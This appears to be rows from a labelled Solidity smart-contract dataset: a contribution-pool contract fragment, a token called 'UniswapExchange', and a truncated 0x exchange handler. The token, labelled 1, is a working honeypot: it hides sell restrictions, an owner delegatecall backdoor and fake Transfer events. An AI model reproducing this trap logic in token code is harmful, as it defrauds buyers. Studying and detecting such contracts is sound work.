if (contractStage == 1) {
if (cap<contributionCaps.length) {
if (nextCapTime == 0 || nextCapTime > block.timestamp) {
cap = contributionCaps[cap];
} else {
cap = nextContributionCaps[cap];
}
}
remaining = cap.sub(balance);
if (contributionCaps[0].sub(this.balance) < remaining) remaining = contributionCaps[0].sub(this.balance);
} else {
remaining = 0;
}
return (balance, cap, remaining);
}
function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) {
var c = whitelist[addr];
var d = distributionMap[tokenAddr];
for (uint i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i]));
}
return tokenAmount;
}
function closeContributions () public onlyOwner {
require (contractStage == 1);
contractStage = 2;
}
function reopenContributions () public onlyOwner {
require (contractStage == 2);
contractStage = 1;
}
function setReceiverAddress (address addr) public onlyOwner {
require (addr != 0x00 && receiverAddress == 0x00);
require (contractStage < 3);
receiverAddress = addr;
addressChangeBlock = block.number;
ReceiverAddressSet(addr);
}
function submitPool (uint amountInWei) public onlyOwner noReentrancy {
require (contractStage < 3);
require (receiverAddress != 0x00);
require (block.number >= addressChangeBlock.add(6000));
require (contributionMin <= amountInWei && amountInWei <= this.balance);
finalBalance = this.balance;
require (receiverAddress.call.value(amountInWei).gas(msg.gas.sub(5000))());
if (this.balance > 0) ethRefundAmount.push(this.balance);
contractStage = 3;
PoolSubmitted(receiverAddress, amountInWei);
}
function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy {
require (contractStage == 3);
if (notDefault) {
require (activeToken != 0x00);
} else {
activeToken = tokenAddr;
}
var d = distributionMap[tokenAddr];
if (d.pct.length==0) d.token = ERC20(tokenAddr);
uint amount = d.token.balanceOf(this).sub(d.balanceRemaining);
require (amount > 0);
if (feePct > 0) {
require (d.token.transfer(owner,_applyPct(amount,feePct)));
}
amount = d.token.balanceOf(this).sub(d.balanceRemaining);
d.balanceRemaining = d.token.balanceOf(this);
d.pct.push(_toPct(amount,finalBalance));
}
function tokenFallback (address from, uint value, bytes data) public {
ERC223Received (from, value);
}
} | 0 | 1,309 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,429 |
pragma solidity 0.4.25;
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function decimals() public view returns (uint256);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library Utils {
uint256 constant internal PRECISION = (10**18);
uint256 constant internal MAX_QTY = (10**28);
uint256 constant internal MAX_RATE = (PRECISION * 10**6);
uint256 constant internal MAX_DECIMALS = 18;
uint256 constant internal ETH_DECIMALS = 18;
uint256 constant internal MAX_UINT = 2**256-1;
function precision() internal pure returns (uint256) { return PRECISION; }
function max_qty() internal pure returns (uint256) { return MAX_QTY; }
function max_rate() internal pure returns (uint256) { return MAX_RATE; }
function max_decimals() internal pure returns (uint256) { return MAX_DECIMALS; }
function eth_decimals() internal pure returns (uint256) { return ETH_DECIMALS; }
function max_uint() internal pure returns (uint256) { return MAX_UINT; }
function getDecimals(address token)
internal
view
returns (uint256 decimals)
{
bytes4 functionSig = bytes4(keccak256("decimals()"));
assembly {
let ptr := mload(0x40)
mstore(ptr,functionSig)
let functionSigLength := 0x04
let wordLength := 0x20
let success := call(
5000,
token,
0,
ptr,
functionSigLength,
ptr,
wordLength
)
switch success
case 0 {
decimals := 0
}
case 1 {
decimals := mload(ptr)
}
mstore(0x40,add(ptr,0x04))
}
}
function tokenAllowanceAndBalanceSet(
address tokenOwner,
address tokenAddress,
uint256 tokenAmount,
address addressToAllow
)
internal
view
returns (bool)
{
return (
ERC20(tokenAddress).allowance(tokenOwner, addressToAllow) >= tokenAmount &&
ERC20(tokenAddress).balanceOf(tokenOwner) >= tokenAmount
);
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns (uint) {
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns (uint) {
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator;
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns (uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns (uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals)
internal pure returns (uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
library ERC20SafeTransfer {
function safeTransfer(address _tokenAddress, address _to, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("transfer(address,uint256)")), _to, _value));
return fetchReturnData();
}
function safeTransferFrom(address _tokenAddress, address _from, address _to, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("transferFrom(address,address,uint256)")), _from, _to, _value));
return fetchReturnData();
}
function safeApprove(address _tokenAddress, address _spender, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("approve(address,uint256)")), _spender, _value));
return fetchReturnData();
}
function fetchReturnData() internal returns (bool success){
assembly {
switch returndatasize()
case 0 {
success := 1
}
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
default {
revert(0, 0)
}
}
}
}
contract AllowanceSetter {
uint256 constant MAX_UINT = 2**256 - 1;
function approveAddress(address addressToApprove, address token) internal {
if(ERC20(token).allowance(address(this), addressToApprove) == 0) {
require(ERC20SafeTransfer.safeApprove(token, addressToApprove, MAX_UINT));
}
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TotleControl is Ownable {
mapping(address => bool) public authorizedPrimaries;
modifier onlyTotle() {
require(authorizedPrimaries[msg.sender]);
_;
}
constructor(address _totlePrimary) public {
authorizedPrimaries[_totlePrimary] = true;
}
function addTotle(
address _totlePrimary
) external onlyOwner {
authorizedPrimaries[_totlePrimary] = true;
}
function removeTotle(
address _totlePrimary
) external onlyOwner {
authorizedPrimaries[_totlePrimary] = false;
}
}
contract Withdrawable is Ownable {
function withdrawToken(address _token, uint256 _amount) external onlyOwner returns (bool) {
return ERC20SafeTransfer.safeTransfer(_token, owner, _amount);
}
function withdrawETH(uint256 _amount) external onlyOwner {
owner.transfer(_amount);
}
}
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool private _paused = false;
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Contract is paused.");
_;
}
modifier whenPaused() {
require(_paused, "Contract not paused.");
_;
}
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused();
}
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused();
}
}
contract ErrorReporter {
function revertTx(string reason) public pure {
revert(reason);
}
}
contract SelectorProvider {
bytes4 constant getAmountToGiveSelector = bytes4(keccak256("getAmountToGive(bytes)"));
bytes4 constant staticExchangeChecksSelector = bytes4(keccak256("staticExchangeChecks(bytes)"));
bytes4 constant performBuyOrderSelector = bytes4(keccak256("performBuyOrder(bytes,uint256)"));
bytes4 constant performSellOrderSelector = bytes4(keccak256("performSellOrder(bytes,uint256)"));
function getSelector(bytes4 genericSelector) public pure returns (bytes4);
}
contract ExchangeHandler is SelectorProvider, TotleControl, Withdrawable, Pausable {
ErrorReporter public errorReporter;
constructor(
address totlePrimary,
address _errorReporter
)
TotleControl(totlePrimary)
public
{
require(_errorReporter != address(0x0));
errorReporter = ErrorReporter(_errorReporter);
}
function getAmountToGive(
bytes genericPayload
)
public
view
returns (uint256 amountToGive)
{
bool success;
bytes4 functionSelector = getSelector(this.getAmountToGive.selector);
assembly {
let functionSelectorLength := 0x04
let functionSelectorOffset := 0x1C
let scratchSpace := 0x0
let wordLength := 0x20
let bytesLength := mload(genericPayload)
let totalLength := add(functionSelectorLength, bytesLength)
let startOfNewData := add(genericPayload, functionSelectorOffset)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(genericPayload, functionSelectorCorrect)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
wordLength
)
amountToGive := mload(scratchSpace)
if eq(success, 0) { revert(0, 0) }
}
}
function staticExchangeChecks(
bytes genericPayload
)
public
view
returns (bool checksPassed)
{
bool success;
bytes4 functionSelector = getSelector(this.staticExchangeChecks.selector);
assembly {
let functionSelectorLength := 0x04
let functionSelectorOffset := 0x1C
let scratchSpace := 0x0
let wordLength := 0x20
let bytesLength := mload(genericPayload)
let totalLength := add(functionSelectorLength, bytesLength)
let startOfNewData := add(genericPayload, functionSelectorOffset)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(genericPayload, functionSelectorCorrect)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
wordLength
)
checksPassed := mload(scratchSpace)
if eq(success, 0) { revert(0, 0) }
}
}
function performBuyOrder(
bytes genericPayload,
uint256 amountToGiveForOrder
)
public
payable
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
bool success;
bytes4 functionSelector = getSelector(this.performBuyOrder.selector);
assembly {
let callDataOffset := 0x44
let functionSelectorOffset := 0x1C
let functionSelectorLength := 0x04
let scratchSpace := 0x0
let wordLength := 0x20
let startOfFreeMemory := mload(0x40)
calldatacopy(startOfFreeMemory, callDataOffset, calldatasize)
let bytesLength := mload(startOfFreeMemory)
let totalLength := add(add(functionSelectorLength, bytesLength), wordLength)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(startOfFreeMemory, functionSelectorCorrect)
mstore(add(startOfFreeMemory, add(wordLength, bytesLength)), amountToGiveForOrder)
let startOfNewData := add(startOfFreeMemory,functionSelectorOffset)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
mul(wordLength, 0x02)
)
amountSpentOnOrder := mload(scratchSpace)
amountReceivedFromOrder := mload(add(scratchSpace, wordLength))
if eq(success, 0) { revert(0, 0) }
}
}
function performSellOrder(
bytes genericPayload,
uint256 amountToGiveForOrder
)
public
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
bool success;
bytes4 functionSelector = getSelector(this.performSellOrder.selector);
assembly {
let callDataOffset := 0x44
let functionSelectorOffset := 0x1C
let functionSelectorLength := 0x04
let scratchSpace := 0x0
let wordLength := 0x20
let startOfFreeMemory := mload(0x40)
calldatacopy(startOfFreeMemory, callDataOffset, calldatasize)
let bytesLength := mload(startOfFreeMemory)
let totalLength := add(add(functionSelectorLength, bytesLength), wordLength)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(startOfFreeMemory, functionSelectorCorrect)
mstore(add(startOfFreeMemory, add(wordLength, bytesLength)), amountToGiveForOrder)
let startOfNewData := add(startOfFreeMemory,functionSelectorOffset)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
mul(wordLength, 0x02)
)
amountSpentOnOrder := mload(scratchSpace)
amountReceivedFromOrder := mload(add(scratchSpace, wordLength))
if eq(success, 0) { revert(0, 0) }
}
}
}
contract LibEIP712 {
string constant internal EIP191_HEADER = "\x19\x01";
string constant internal EIP712_DOMAIN_NAME = "0x Protocol";
string constant internal EIP712_DOMAIN_VERSION = "2";
bytes32 constant internal EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH = keccak256(abi.encodePacked(
"EIP712Domain(",
"string name,",
"string version,",
"address verifyingContract",
")"
));
bytes32 public EIP712_DOMAIN_HASH;
constructor ()
public
{
EIP712_DOMAIN_HASH = keccak256(abi.encodePacked(
EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH,
keccak256(bytes(EIP712_DOMAIN_NAME)),
keccak256(bytes(EIP712_DOMAIN_VERSION)),
bytes32(address(this))
));
}
function hashEIP712Message(bytes32 hashStruct)
internal
view
returns (bytes32 result)
{
bytes32 eip712DomainHash = EIP712_DOMAIN_HASH;
assembly {
let memPtr := mload(64)
mstore(memPtr, 0x1901000000000000000000000000000000000000000000000000000000000000)
mstore(add(memPtr, 2), eip712DomainHash)
mstore(add(memPtr, 34), hashStruct)
result := keccak256(memPtr, 66)
}
return result;
}
}
contract LibOrder is
LibEIP712
{
bytes32 constant internal EIP712_ORDER_SCHEMA_HASH = keccak256(abi.encodePacked(
"Order(",
"address makerAddress,",
"address takerAddress,",
"address feeRecipientAddress,",
"address senderAddress,",
"uint256 makerAssetAmount,",
"uint256 takerAssetAmount,",
"uint256 makerFee,",
"uint256 takerFee,",
"uint256 expirationTimeSeconds,",
"uint256 salt,",
"bytes makerAssetData,",
"bytes takerAssetData",
")"
));
enum OrderStatus {
INVALID,
INVALID_MAKER_ASSET_AMOUNT,
INVALID_TAKER_ASSET_AMOUNT,
FILLABLE,
EXPIRED,
FULLY_FILLED,
CANCELLED
}
struct Order {
address makerAddress;
address takerAddress;
address feeRecipientAddress;
address senderAddress;
uint256 makerAssetAmount;
uint256 takerAssetAmount;
uint256 makerFee;
uint256 takerFee;
uint256 expirationTimeSeconds;
uint256 salt;
bytes makerAssetData;
bytes takerAssetData;
}
struct OrderInfo {
uint8 orderStatus;
bytes32 orderHash;
uint256 orderTakerAssetFilledAmount;
}
function getOrderHash(Order memory order)
internal
view
returns (bytes32 orderHash)
{
orderHash = hashEIP712Message(hashOrder(order));
return orderHash;
}
function hashOrder(Order memory order)
internal
pure
returns (bytes32 result)
{
bytes32 schemaHash = EIP712_ORDER_SCHEMA_HASH;
bytes32 makerAssetDataHash = keccak256(order.makerAssetData);
bytes32 takerAssetDataHash = keccak256(order.takerAssetData);
assembly {
let pos1 := sub(order, 32)
let pos2 := add(order, 320)
let pos3 := add(order, 352)
let temp1 := mload(pos1)
let temp2 := mload(pos2)
let temp3 := mload(pos3)
mstore(pos1, schemaHash)
mstore(pos2, makerAssetDataHash)
mstore(pos3, takerAssetDataHash)
result := keccak256(pos1, 416)
mstore(pos1, temp1)
mstore(pos2, temp2)
mstore(pos3, temp3)
}
return result;
}
}
contract LibFillResults
{
struct FillResults {
uint256 makerAssetFilledAmount;
uint256 takerAssetFilledAmount;
uint256 makerFeePaid;
uint256 takerFeePaid;
}
struct MatchedFillResults {
FillResults left;
FillResults right;
uint256 leftMakerAssetSpreadAmount;
}
function addFillResults(FillResults memory totalFillResults, FillResults memory singleFillResults)
internal
pure
{
totalFillResults.makerAssetFilledAmount = SafeMath.add(totalFillResults.makerAssetFilledAmount, singleFillResults.makerAssetFilledAmount);
totalFillResults.takerAssetFilledAmount = SafeMath.add(totalFillResults.takerAssetFilledAmount, singleFillResults.takerAssetFilledAmount);
totalFillResults.makerFeePaid = SafeMath.add(totalFillResults.makerFeePaid, singleFillResults.makerFeePaid);
totalFillResults.takerFeePaid = SafeMath.add(totalFillResults.takerFeePaid, singleFillResults.takerFeePaid);
}
}
contract IExchangeCore {
bytes public ZRX_ASSET_DATA;
function fillOrder(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
public
returns (LibFillResults.FillResults memory fillResults);
function fillOrderNoThrow(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
public
returns (LibFillResults.FillResults memory fillResults);
function getOrderInfo(LibOrder.Order memory order)
public
view
returns (LibOrder.OrderInfo memory orderInfo);
function getAssetProxy(bytes4 assetProxyId)
external
view
returns (address);
function isValidSignature(
bytes32 hash,
address signerAddress,
bytes memory signature
)
public
view
returns (bool isValid);
}
interface WETH {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
contract ZeroExExchangeHandler is ExchangeHandler, AllowanceSetter {
IExchangeCore public exchange;
bytes constant ZRX_ASSET_DATA = "\xf4\x72\x61\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x1d\x24\x89\x57\x1d\x32\x21\x89\x24\x6d\xaf\xa5\xeb\xde\x1f\x46\x99\xf4\x98";
address ERC20_ASSET_PROXY;
WETH weth;
constructor(
address _exchange,
address totlePrimary,
address _weth,
address errorReporter
)
ExchangeHandler(totlePrimary, errorReporter)
public
{
require(_exchange != address(0x0));
exchange = IExchangeCore(_exchange);
ERC20_ASSET_PROXY = exchange.getAssetProxy(toBytes4(ZRX_ASSET_DATA, 0));
weth = WETH(_weth);
}
struct OrderData {
address makerAddress;
address takerAddress;
address feeRecipientAddress;
address senderAddress;
uint256 makerAssetAmount;
uint256 takerAssetAmount;
uint256 makerFee;
uint256 takerFee;
uint256 expirationTimeSeconds;
uint256 salt;
bytes makerAssetData;
bytes takerAssetData;
bytes signature;
}
function getAmountToGive_(
OrderData data
)
public
view
onlyTotle
returns (uint256 amountToGive)
{
LibOrder.OrderInfo memory orderInfo = exchange.getOrderInfo(
getZeroExOrder(data)
);
uint makerAssetAvailable = getAssetDataAvailable(data.makerAssetData, data.makerAddress);
uint feeAssetAvailable = getAssetDataAvailable(ZRX_ASSET_DATA, data.makerAddress);
uint maxFromMakerFee = data.makerFee == 0 ? Utils.max_uint() : getPartialAmount(feeAssetAvailable, data.makerFee, data.takerAssetAmount);
amountToGive = Math.min(Math.min(
getPartialAmount(makerAssetAvailable, data.makerAssetAmount, data.takerAssetAmount),
maxFromMakerFee),
SafeMath.sub(data.takerAssetAmount, orderInfo.orderTakerAssetFilledAmount)
);
}
function getAssetDataAvailable(bytes assetData, address account) internal view returns (uint){
address tokenAddress = toAddress(assetData, 16);
ERC20 token = ERC20(tokenAddress);
return Math.min(token.balanceOf(account), token.allowance(account, ERC20_ASSET_PROXY));
}
function getZeroExOrder(OrderData data) internal pure returns (LibOrder.Order) {
return LibOrder.Order({
makerAddress: data.makerAddress,
takerAddress: data.takerAddress,
feeRecipientAddress: data.feeRecipientAddress,
senderAddress: data.senderAddress,
makerAssetAmount: data.makerAssetAmount,
takerAssetAmount: data.takerAssetAmount,
makerFee: data.makerFee,
takerFee: data.takerFee,
expirationTimeSeconds: data.expirationTimeSeconds,
salt: data.salt,
makerAssetData: data.makerAssetData,
takerAssetData: data.takerAssetData
});
}
function staticExchangeChecks_(
OrderData data
)
public
view
onlyTotle
returns (bool checksPassed)
{
return (block.timestamp <= data.expirationTimeSeconds &&
toBytes4(data.takerAssetData, 0) == bytes4(0xf47261b0) &&
toBytes4(data.makerAssetData, 0) == bytes4(0xf47261b0) &&
data.takerFee == 0 &&
(data.takerAddress == address(0x0) || data.takerAddress == address(this)) &&
(data.senderAddress == address(0x0) || data.senderAddress == address(this))
);
}
function performBuyOrder_(
OrderData data
)
public
payable
onlyTotle
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
uint256 amountToGiveForOrder = toUint(msg.data, msg.data.length - 32);
